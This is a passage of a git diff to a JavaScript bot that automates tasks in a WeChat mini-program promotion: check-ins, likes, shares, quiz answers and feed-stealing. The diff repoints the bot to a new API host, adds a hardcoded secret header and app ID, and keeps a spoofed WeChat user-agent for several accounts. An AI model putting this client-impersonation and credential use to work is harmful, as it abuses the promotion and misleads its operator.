`https://warhorsechina.cojoy.com.cn/app/api/custom/getuserinfo?safe=${zmnlxq}`, headers: { - 'Host': 'zm.t7a.cn', + 'Host': 'warhorsechina.cojoy.com.cn', + 'CUSTOMAPPID': 'wx94dca6ef07a54c55', + 'cGvnZetrWSWfLcdYaN40mLdFx6ObkRltdZmhS5hQkgDbuZd9bLcQevwBVEjx-war-horse-zm-2025': 'CjkFMAxsbtJ1VFO0xTbjwthRyAXEbyYgFNQWdUwgVY21PBcefkNbehUCWYBp', 'user-agent': 'Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0.4240.99 XWEB/3235 MMWEBSDK/20220204 Mobile Safari/537.36 MMWEBID/6242 MicroMessenger/8.0.20.2080(0x28001435) Process/appbrand0 WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 miniProgram/wx532ecb3bdaaf92f9' }, // body: '', @@ -223,12 +230,14 @@ function getTel (timeout = 2 * 1000) { * 签到 * */ -function checkin (timeout = 2 * 1000) { +function checkin(timeout = 2 * 1000) { return new Promise((resolve) => { let url = { - url: `https://zm.t7a.cn/api/checkin.php?safe=${zmnlxq}`, + url: `https://warhorsechina.cojoy.com.cn/app/api/custom/checkin?safe=${zmnlxq}`, headers: { - 'Host': 'zm.t7a.cn', + 'Host': 'warhorsechina.cojoy.com.cn', + 'CUSTOMAPPID': 'wx94dca6ef07a54c55', + 'cGvnZetrWSWfLcdYaN40mLdFx6ObkRltdZmhS5hQkgDbuZd9bLcQevwBVEjx-war-horse-zm-2025': 'CjkFMAxsbtJ1VFO0xTbjwthRyAXEbyYgFNQWdUwgVY21PBcefkNbehUCWYBp', 'user-agent': 'Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0.4240.99 XWEB/3235 MMWEBSDK/20220204 Mobile Safari/537.36 MMWEBID/6242 MicroMessenger/8.0.20.2080(0x28001435) Process/appbrand0 WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 miniProgram/wx532ecb3bdaaf92f9' }, // body: '', @@ -260,12 +269,14 @@ function checkin (timeout = 2 * 1000) { * 小程序添加好友任务 * */ -function joinxcx (timeout = 2 * 1000) { +function joinxcx(timeout = 2 * 1000) { return new Promise((resolve) => { let url = { - url: `https://zm.t7a.cn/api/joinxcx.php?safe=${zmnlxq}`, + url: `https://warhorsechina.cojoy.com.cn/app/api/custom/joinxcx?safe=${zmnlxq}`, headers: { - 'Host': 'zm.t7a.cn', + 'Host': 'warhorsechina.cojoy.com.cn', + 'CUSTOMAPPID': 'wx94dca6ef07a54c55', + 'cGvnZetrWSWfLcdYaN40mLdFx6ObkRltdZmhS5hQkgDbuZd9bLcQevwBVEjx-war-horse-zm-2025': 'CjkFMAxsbtJ1VFO0xTbjwthRyAXEbyYgFNQWdUwgVY21PBcefkNbehUCWYBp', 'user-agent': 'Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0.4240.99 XWEB/3235 MMWEBSDK/20220204 Mobile Safari/537.36 MMWEBID/6242 MicroMessenger/8.0.20.2080(0x28001435) Process/appbrand0 WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 miniProgram/wx532ecb3bdaaf92f9' }, // body: '', @@ -294,12 +305,14 @@ function joinxcx (timeout = 2 * 1000) { * 小程序获取好友列表 * */ -function getranklist (addFriend = false, fromsafe = '', timeout = 2 * 1000) { +function getranklist(addFriend = false, fromsafe = '', timeout = 2 * 1000) { return new Promise((resolve) => { let url = { - url: `https://zm.t7a.cn/api/getranklist.php?safe=${zmnlxq}&type=1&fromsafe=${fromsafe}`, + url: `https://warhorsechina.cojoy.com.cn/app/api/custom/getranklist?safe=${zmnlxq}&type=1&fromsafe=${fromsafe}`, headers: { - 'Host': 'zm.t7a.cn', + 'Host': 'warhorsechina.cojoy.com.cn', + 'CUSTOMAPPID': 'wx94dca6ef07a54c55', + 'cGvnZetrWSWfLcdYaN40mLdFx6ObkRltdZmhS5hQkgDbuZd9bLcQevwBVEjx-war-horse-zm-2025': 'CjkFMAxsbtJ1VFO0xTbjwthRyAXEbyYgFNQWdUwgVY21PBcefkNbehUCWYBp', 'user-agent': 'Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0.4240.99 XWEB/3235 MMWEBSDK/20220204 Mobile Safari/537.36 MMWEBID/6242 MicroMessenger/8.0.20.2080(0x28001435) Process/appbrand0 WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 miniProgram/wx532ecb3bdaaf92f9' }, // body: '', @@ -344,12 +357,14 @@ function getranklist (addFriend = false, fromsafe = '', timeout = 2 * 1000) { * 小程序加为好友 * */ -function getotherhorseinfo (likeUserId, timeout = 2 * 1000) { +function getotherhorseinfo(likeUserId, timeout = 2 * 1000) { return new Promise((resolve) => { let url = { - url: `https://zm.t7a.cn/api/getotherhorseinfo.php?safe=${zmnlxq}&friendid=${likeUserId}`, + url: `https://warhorsechina.cojoy.com.cn/app/api/custom/getotherhorseinfo?safe=${zmnlxq}&friendid=${likeUserId}`, headers: { - 'Host': 'zm.t7a.cn', + 'Host': 'warhorsechina.cojoy.com.cn', + 'CUSTOMAPPID': 'wx94dca6ef07a54c55', + 'cGvnZetrWSWfLcdYaN40mLdFx6ObkRltdZmhS5hQkgDbuZd9bLcQevwBVEjx-war-horse-zm-2025': 'CjkFMAxsbtJ1VFO0xTbjwthRyAXEbyYgFNQWdUwgVY21PBcefkNbehUCWYBp', 'user-agent': 'Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0.4240.99 XWEB/3235 MMWEBSDK/20220204 Mobile Safari/537.36 MMWEBID/6242 MicroMessenger/8.0.20.2080(0x28001435) Process/appbrand0 WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 miniProgram/wx532ecb3bdaaf92f9' }, // body: '', @@ -378,13 +393,15 @@ function getotherhorseinfo (likeUserId, timeout = 2 * 1000) { * 小程序点赞 * */ -function like (likeUserId, timeout = 2 * 1000) { +function like(likeUserId, timeout = 2 * 1000) { let isCompleted = false; return new Promise((resolve) => { let url = { - url: `https://zm.t7a.cn/api/subrank.php?safe=${zmnlxq}&id=${likeUserId}&type=1`, + url: `https://warhorsechina.cojoy.com.cn/app/api/custom/subrank?safe=${zmnlxq}&id=${likeUserId}&type=1`, headers: { - 'Host': 'zm.t7a.cn', + 'Host': 'warhorsechina.cojoy.com.cn', + 'CUSTOMAPPID': 'wx94dca6ef07a54c55', + 'cGvnZetrWSWfLcdYaN40mLdFx6ObkRltdZmhS5hQkgDbuZd9bLcQevwBVEjx-war-horse-zm-2025': 'CjkFMAxsbtJ1VFO0xTbjwthRyAXEbyYgFNQWdUwgVY21PBcefkNbehUCWYBp', 'user-agent': 'Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0.4240.99 XWEB/3235 MMWEBSDK/20220204 Mobile Safari/537.36 MMWEBID/6242 MicroMessenger/8.0.20.2080(0x28001435) Process/appbrand0 WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 miniProgram/wx532ecb3bdaaf92f9' }, // body: '', @@ -413,12 +430,14 @@ function like (likeUserId, timeout = 2 * 1000) { * 小程序分享任务 * */ -function getshare (timeout = 2 * 1000) { +function getshare(timeout = 2 * 1000) { return new Promise((resolve) => { let url = { - url: `https://zm.t7a.cn/api/share.php?safe=${zmnlxq}`, + url: `https://warhorsechina.cojoy.com.cn/app/api/custom/share?safe=${zmnlxq}`, headers: { - 'Host': 'zm.t7a.cn', + 'Host': 'warhorsechina.cojoy.com.cn', + 'CUSTOMAPPID': 'wx94dca6ef07a54c55', + 'cGvnZetrWSWfLcdYaN40mLdFx6ObkRltdZmhS5hQkgDbuZd9bLcQevwBVEjx-war-horse-zm-2025': 'CjkFMAxsbtJ1VFO0xTbjwthRyAXEbyYgFNQWdUwgVY21PBcefkNbehUCWYBp', 'user-agent': 'Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0.4240.99 XWEB/3235 MMWEBSDK/20220204 Mobile Safari/537.36 MMWEBID/6242 MicroMessenger/8.0.20.2080(0x28001435) Process/appbrand0 WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 miniProgram/wx532ecb3bdaaf92f9' }, // body: '', @@ -447,12 +466,14 @@ function getshare (timeout = 2 * 1000) { * 小程序战马分享任务 * */ -function checkslgift (timeout = 2 * 1000) { +function checkslgift(timeout = 2 * 1000) { return new Promise((resolve) => { let url = { - url: `https://zm.t7a.cn/api/checkslgift.php?safe=${zmnlxq}`, + url: `https://warhorsechina.cojoy.com.cn/app/api/custom/checkslgift?safe=${zmnlxq}`, headers: { - 'Host': 'zm.t7a.cn', + 'Host': 'warhorsechina.cojoy.com.cn', + 'CUSTOMAPPID': 'wx94dca6ef07a54c55', + 'cGvnZetrWSWfLcdYaN40mLdFx6ObkRltdZmhS5hQkgDbuZd9bLcQevwBVEjx-war-horse-zm-2025': 'CjkFMAxsbtJ1VFO0xTbjwthRyAXEbyYgFNQWdUwgVY21PBcefkNbehUCWYBp', 'user-agent': 'Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0.4240.99 XWEB/3235 MMWEBSDK/20220204 Mobile Safari/537.36 MMWEBID/6242 MicroMessenger/8.0.20.2080(0x28001435) Process/appbrand0 WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 miniProgram/wx532ecb3bdaaf92f9' }, // body: '', @@ -481,12 +502,14 @@ function checkslgift (timeout = 2 * 1000) { * 小程序完善信息 * */ -function saveuserinfo (avatar, nickname, sex, birthday, tel, timeout = 2 * 1000) { +function saveuserinfo(avatar, nickname, sex, birthday, tel, timeout = 2 * 1000) { return new Promise((resolve) => { let url = { - url: `https://zm.t7a.cn/api/saveuserinfo.php?safe=${zmnlxq}&avatar=${encodeURIComponent(avatar)}&nickname=${encodeURIComponent(nickname)}&uname=${encodeURIComponent(nickname)}&sex=${sex}&birthday=${birthday}&tel=${tel}`, + url: `https://warhorsechina.cojoy.com.cn/app/api/custom/saveuserinfo?safe=${zmnlxq}&avatar=${encodeURIComponent(avatar)}&nickname=${encodeURIComponent(nickname)}&uname=${encodeURIComponent(nickname)}&sex=${sex}&birthday=${birthday}&tel=${tel}`, headers: { - 'Host': 'zm.t7a.cn', + 'Host': 'warhorsechina.cojoy.com.cn', + 'CUSTOMAPPID': 'wx94dca6ef07a54c55', + 'cGvnZetrWSWfLcdYaN40mLdFx6ObkRltdZmhS5hQkgDbuZd9bLcQevwBVEjx-war-horse-zm-2025': 'CjkFMAxsbtJ1VFO0xTbjwthRyAXEbyYgFNQWdUwgVY21PBcefkNbehUCWYBp', 'user-agent': 'Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0.4240.99 XWEB/3235 MMWEBSDK/20220204 Mobile Safari/537.36 MMWEBID/6242 MicroMessenger/8.0.20.2080(0x28001435) Process/appbrand0 WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 miniProgram/wx532ecb3bdaaf92f9' }, // body: '', @@ -515,12 +538,14 @@ function saveuserinfo (avatar, nickname, sex, birthday, tel, timeout = 2 * 1000) * 公众号口令只可完成一次 * */ -function gzhkl (timeout = 2 * 1000) { +function gzhkl(timeout = 2 * 1000) { return new Promise((resolve) => { let url = { - url: `https://zm.t7a.cn/api/gzhkl.php?safe=${zmnlxq}&kl=${encodeURIComponent('有能量 当燃战马!')}`, + url: `https://warhorsechina.cojoy.com.cn/app/api/custom/gzhkl?safe=${zmnlxq}&kl=${encodeURIComponent('有能量 当燃战马!')}`, headers: { - 'Host': 'zm.t7a.cn', + 'Host': 'warhorsechina.cojoy.com.cn', + 'CUSTOMAPPID': 'wx94dca6ef07a54c55', + 'cGvnZetrWSWfLcdYaN40mLdFx6ObkRltdZmhS5hQkgDbuZd9bLcQevwBVEjx-war-horse-zm-2025': 'CjkFMAxsbtJ1VFO0xTbjwthRyAXEbyYgFNQWdUwgVY21PBcefkNbehUCWYBp', 'user-agent': 'Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0.4240.99 XWEB/3235 MMWEBSDK/20220204 Mobile Safari/537.36 MMWEBID/6242 MicroMessenger/8.0.20.2080(0x28001435) Process/appbrand0 WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 miniProgram/wx532ecb3bdaaf92f9' }, // body: '', @@ -552,12 +577,14 @@ function gzhkl (timeout = 2 * 1000) { * 查询题库 * */ -async function gettiku (timeout = 2 * 1000) { +async function gettiku(timeout = 2 * 1000) { return new Promise((resolve) => { let url = { - url: `https://zm.t7a.cn/api/getquesbackstatus.php?safe=${zmnlxq}`, + url: `https://warhorsechina.cojoy.com.cn/app/api/custom/getquesbackstatus?safe=${zmnlxq}`, headers: { - 'Host': 'zm.t7a.cn', + 'Host': 'warhorsechina.cojoy.com.cn', + 'CUSTOMAPPID': 'wx94dca6ef07a54c55', + 'cGvnZetrWSWfLcdYaN40mLdFx6ObkRltdZmhS5hQkgDbuZd9bLcQevwBVEjx-war-horse-zm-2025': 'CjkFMAxsbtJ1VFO0xTbjwthRyAXEbyYgFNQWdUwgVY21PBcefkNbehUCWYBp', 'user-agent': 'Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0.4240.99 XWEB/3235 MMWEBSDK/20220204 Mobile Safari/537.36 MMWEBID/6242 MicroMessenger/8.0.20.2080(0x28001435) Process/appbrand0 WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 miniProgram/wx532ecb3bdaaf92f9' }, // body: '', @@ -605,12 +632,14 @@ async function gettiku (timeout = 2 * 1000) { * 刷新题目 * */ -function getques (timeout = 2 * 1000) { +function getques(timeout = 2 * 1000) { return new Promise((resolve) => { let url = { - url: `https://zm.t7a.cn/api/getques.php?safe=${zmnlxq}`, + url: `https://warhorsechina.cojoy.com.cn/app/api/custom/getques?safe=${zmnlxq}`, headers: { - 'Host': 'zm.t7a.cn', + 'Host': 'warhorsechina.cojoy.com.cn', + 'CUSTOMAPPID': 'wx94dca6ef07a54c55', + 'cGvnZetrWSWfLcdYaN40mLdFx6ObkRltdZmhS5hQkgDbuZd9bLcQevwBVEjx-war-horse-zm-2025': 'CjkFMAxsbtJ1VFO0xTbjwthRyAXEbyYgFNQWdUwgVY21PBcefkNbehUCWYBp', 'user-agent': 'Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0.4240.99 XWEB/3235 MMWEBSDK/20220204 Mobile Safari/537.36 MMWEBID/6242 MicroMessenger/8.0.20.2080(0x28001435) Process/appbrand0 WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 miniProgram/wx532ecb3bdaaf92f9' }, // body: '', @@ -636,12 +665,14 @@ function getques (timeout = 2 * 1000) { * 答题1 * */ -function ques1 (timeout = 2 * 1000) { +function ques1(timeout = 2 * 1000) { return new Promise((resolve) => { let url = { - url: `https://zm.t7a.cn/api/subques.php?safe=${zmnlxq}&qid=126&val=C`, + url: `https://warhorsechina.cojoy.com.cn/app/api/custom/subques?safe=${zmnlxq}&qid=126&val=C`, headers: { - 'Host': 'zm.t7a.cn', + 'Host': 'warhorsechina.cojoy.com.cn', + 'CUSTOMAPPID': 'wx94dca6ef07a54c55', + 'cGvnZetrWSWfLcdYaN40mLdFx6ObkRltdZmhS5hQkgDbuZd9bLcQevwBVEjx-war-horse-zm-2025': 'CjkFMAxsbtJ1VFO0xTbjwthRyAXEbyYgFNQWdUwgVY21PBcefkNbehUCWYBp', 'user-agent': 'Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0.4240.99 XWEB/3235 MMWEBSDK/20220204 Mobile Safari/537.36 MMWEBID/6242 MicroMessenger/8.0.20.2080(0x28001435) Process/appbrand0 WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 miniProgram/wx532ecb3bdaaf92f9' }, // body: '', @@ -669,12 +700,14 @@ function ques1 (timeout = 2 * 1000) { * 答题2 * */ -function ques2 (timeout = 2 * 1000) { +function ques2(timeout = 2 * 1000) { return new Promise((resolve) => { let url = { - url: `https://zm.t7a.cn/api/subques.php?safe=${zmnlxq}&qid=138&val=C`, + url: `https://warhorsechina.cojoy.com.cn/app/api/custom/subques?safe=${zmnlxq}&qid=138&val=C`, headers: { - 'Host': 'zm.t7a.cn', + 'Host': 'warhorsechina.cojoy.com.cn', + 'CUSTOMAPPID': 'wx94dca6ef07a54c55', + 'cGvnZetrWSWfLcdYaN40mLdFx6ObkRltdZmhS5hQkgDbuZd9bLcQevwBVEjx-war-horse-zm-2025': 'CjkFMAxsbtJ1VFO0xTbjwthRyAXEbyYgFNQWdUwgVY21PBcefkNbehUCWYBp', 'user-agent': 'Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0.4240.99 XWEB/3235 MMWEBSDK/20220204 Mobile Safari/537.36 MMWEBID/6242 MicroMessenger/8.0.20.2080(0x28001435) Process/appbrand0 WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 miniProgram/wx532ecb3bdaaf92f9' }, // body: '', @@ -704,12 +737,14 @@ function ques2 (timeout = 2 * 1000) { * 答题3 * */ -function ques3 (timeout = 2 * 1000) { +function ques3(timeout = 2 * 1000) { return new Promise((resolve) => { let url = { - url: `https://zm.t7a.cn/api/subques.php?safe=${zmnlxq}&qid=119&val=A`, + url: `https://warhorsechina.cojoy.com.cn/app/api/custom/subques?safe=${zmnlxq}&qid=119&val=A`, headers: { - 'Host': 'zm.t7a.cn', + 'Host': 'warhorsechina.cojoy.com.cn', + 'CUSTOMAPPID': 'wx94dca6ef07a54c55', + 'cGvnZetrWSWfLcdYaN40mLdFx6ObkRltdZmhS5hQkgDbuZd9bLcQevwBVEjx-war-horse-zm-2025': 'CjkFMAxsbtJ1VFO0xTbjwthRyAXEbyYgFNQWdUwgVY21PBcefkNbehUCWYBp', 'user-agent': 'Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0.4240.99 XWEB/3235 MMWEBSDK/20220204 Mobile Safari/537.36 MMWEBID/6242 MicroMessenger/8.0.20.2080(0x28001435) Process/appbrand0 WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 miniProgram/wx532ecb3bdaaf92f9' }, // body: '', @@ -739,12 +774,14 @@ function ques3 (timeout = 2 * 1000) { * 领养马儿 * */ -function getmaer (timeout = 2 * 1000) { +function getmaer(timeout = 2 * 1000) { return new Promise((resolve) => { let url = { - url: `https://zm.t7a.cn/api/starthorse.php?safe=${zmnlxq}`, + url: `https://warhorsechina.cojoy.com.cn/app/api/custom/starthorse?safe=${zmnlxq}`, headers: { - 'Host': 'zm.t7a.cn', + 'Host': 'warhorsechina.cojoy.com.cn', + 'CUSTOMAPPID': 'wx94dca6ef07a54c55', + 'cGvnZetrWSWfLcdYaN40mLdFx6ObkRltdZmhS5hQkgDbuZd9bLcQevwBVEjx-war-horse-zm-2025': 'CjkFMAxsbtJ1VFO0xTbjwthRyAXEbyYgFNQWdUwgVY21PBcefkNbehUCWYBp', 'user-agent': 'Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0.4240.99 XWEB/3235 MMWEBSDK/20220204 Mobile Safari/537.36 MMWEBID/6242 MicroMessenger/8.0.20.2080(0x28001435) Process/appbrand0 WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 miniProgram/wx532ecb3bdaaf92f9' }, // body: '', @@ -770,12 +807,14 @@ function getmaer (timeout = 2 * 1000) { * 摸一摸 * */ -function getmoyimo (timeout = 2 * 1000) { +function getmoyimo(timeout = 2 * 1000) { return new Promise((resolve) => { let url = { - url: `https://zm.t7a.cn/api/strokehorse.php?safe=${zmnlxq}`, + url: `https://warhorsechina.cojoy.com.cn/app/api/custom/strokehorse?safe=${zmnlxq}`, headers: { - 'Host': 'zm.t7a.cn', + 'Host': 'warhorsechina.cojoy.com.cn', + 'CUSTOMAPPID': 'wx94dca6ef07a54c55', + 'cGvnZetrWSWfLcdYaN40mLdFx6ObkRltdZmhS5hQkgDbuZd9bLcQevwBVEjx-war-horse-zm-2025': 'CjkFMAxsbtJ1VFO0xTbjwthRyAXEbyYgFNQWdUwgVY21PBcefkNbehUCWYBp', 'user-agent': 'Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0.4240.99 XWEB/3235 MMWEBSDK/20220204 Mobile Safari/537.36 MMWEBID/6242 MicroMessenger/8.0.20.2080(0x28001435) Process/appbrand0 WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 miniProgram/wx532ecb3bdaaf92f9' }, // body: '', @@ -801,12 +840,14 @@ function getmoyimo (timeout = 2 * 1000) { * 喂马 * */ -async function getweima (timeout = 2 * 1000) { +async function getweima(timeout = 2 * 1000) { return new Promise((resolve) => { let url = { - url: `https://zm.t7a.cn/api/horseeat.php?safe=${zmnlxq}`, + url: `https://warhorsechina.cojoy.com.cn/app/api/custom/horseeat?safe=${zmnlxq}`, headers: { - 'Host': 'zm.t7a.cn', + 'Host': 'warhorsechina.cojoy.com.cn', + 'CUSTOMAPPID': 'wx94dca6ef07a54c55', + 'cGvnZetrWSWfLcdYaN40mLdFx6ObkRltdZmhS5hQkgDbuZd9bLcQevwBVEjx-war-horse-zm-2025': 'CjkFMAxsbtJ1VFO0xTbjwthRyAXEbyYgFNQWdUwgVY21PBcefkNbehUCWYBp', 'user-agent': 'Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0.4240.99 XWEB/3235 MMWEBSDK/20220204 Mobile Safari/537.36 MMWEBID/6242 MicroMessenger/8.0.20.2080(0x28001435) Process/appbrand0 WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 miniProgram/wx532ecb3bdaaf92f9' }, // body: '', @@ -837,13 +878,15 @@ async function getweima (timeout = 2 * 1000) { * 偷饲料 * */ -function tousiliao (num2) { +function tousiliao(num2) { let isCompleted = false; return new Promise((resolve) => { let url = { - url: `https://zm.t7a.cn/api/subhorseplayer.php?safe=${zmnlxq}&friendid=${totalAccountsfrinds[num2]?.id}&type=1`, + url: `https://warhorsechina.cojoy.com.cn/app/api/custom/subhorseplayer?safe=${zmnlxq}&friendid=${totalAccountsfrinds[num2]?.id}&type=1`, headers: { - 'Host': 'zm.t7a.cn', + 'Host': 'warhorsechina.cojoy.com.cn', + 'CUSTOMAPPID': 'wx94dca6ef07a54c55', + 'cGvnZetrWSWfLcdYaN40mLdFx6ObkRltdZmhS5hQkgDbuZd9bLcQevwBVEjx-war-horse-zm-2025': 'CjkFMAxsbtJ1VFO0xTbjwthRyAXEbyYgFNQWdUwgVY21PBcefkNbehUCWYBp', 'user-agent': 'Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0.4240.99 XWEB/3235 MMWEBSDK/20220204 Mobile Safari/537.36 MMWEBID/6242 MicroMessenger/8.0.20.2080(0x28001435) Process/appbrand0 WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 miniProgram/wx532ecb3bdaaf92f9' }, } @@ -857,7 +900,7 @@ function tousiliao (num2) { } finally { resolve(isCompleted); } - },) + }) }) } @@ -865,13 +908,15 @@ function tousiliao (num2) { * 送饲料 * */ -function songsiliao (num2) { +function songsiliao(num2) { let isCompleted = false; return new Promise((resolve) => { let url = { - url: `https://zm.t7a.cn/api/subhorseplayer.php?safe=${zmnlxq}&friendid=${totalAccountsfrinds[num2]?.id}&type=2`, + url: `https://warhorsechina.cojoy.com.cn/app/api/custom/subhorseplayer?safe=${zmnlxq}&friendid=${totalAccountsfrinds[num2]?.id}&type=2`, headers: { - 'Host': 'zm.t7a.cn', + 'Host': 'warhorsechina.cojoy.com.cn', + 'CUSTOMAPPID': 'wx94dca6ef07a54c55', + 'cGvnZetrWSWfLcdYaN40mLdFx6ObkRltdZmhS5hQkgDbuZd9bLcQevwBVEjx-war-horse-zm-2025': 'CjkFMAxsbtJ1VFO0xTbjwthRyAXEbyYgFNQWdUwgVY21PBcefkNbehUCWYBp', 'user-agent': 'Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0.4240.99 XWEB/3235 MMWEBSDK/20220204 Mobile Safari/537.36 MMWEBID/6242 MicroMessenger/8.0.20.2080(0x28001435) Process/appbrand0 WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 miniProgram/wx532ecb3bdaaf92f9' }, // body: '', @@ -887,14 +932,14 @@ function songsiliao (num2) { } finally { resolve(isCompleted); } - },) + }) }) } /** * 获取远程版本,鸟VPS不改post请求获取不了内容 */ -function getVersion (timeout = 3 * 1000) { +function getVersion(timeout = 3 * 1000) { return new Promise((resolve) => { let url = { url: `http://www.holyxie.com/script/zmnlxq/zmnlxq.js`, @@ -915,7 +960,7 @@ function getVersion (timeout = 3 * 1000) { //#region 固定代码 可以不管他 // ============================================变量检查============================================ \\ -async function Envs () { +async function Envs() { if (zmnlxq) { if (zmnlxq.indexOf("@") != -1) { zmnlxq.split("@").forEach((item) => { @@ -937,7 +982,7 @@ async function Envs () { } // ============================================发送消息============================================ \\ -async function SendMsg (message) { +async function SendMsg(message) { if (!message) return; @@ -954,4 +999,4 @@ async function SendMsg (message) { } // prettier-ignore 固定代码 不用管他 -function Env (t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("xxxxxx") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send (t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get (t) { return this.send.call(this.env, t) } post (t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode () { return "undefined" != typeof module && !!module.exports } isQuanX () { return "undefined" != typeof $task } isSurge () { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon () { return "undefined" != typeof $loon } toObj (t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr (t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson (t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson (t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript (t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript (t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata () { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata () { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get (t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if 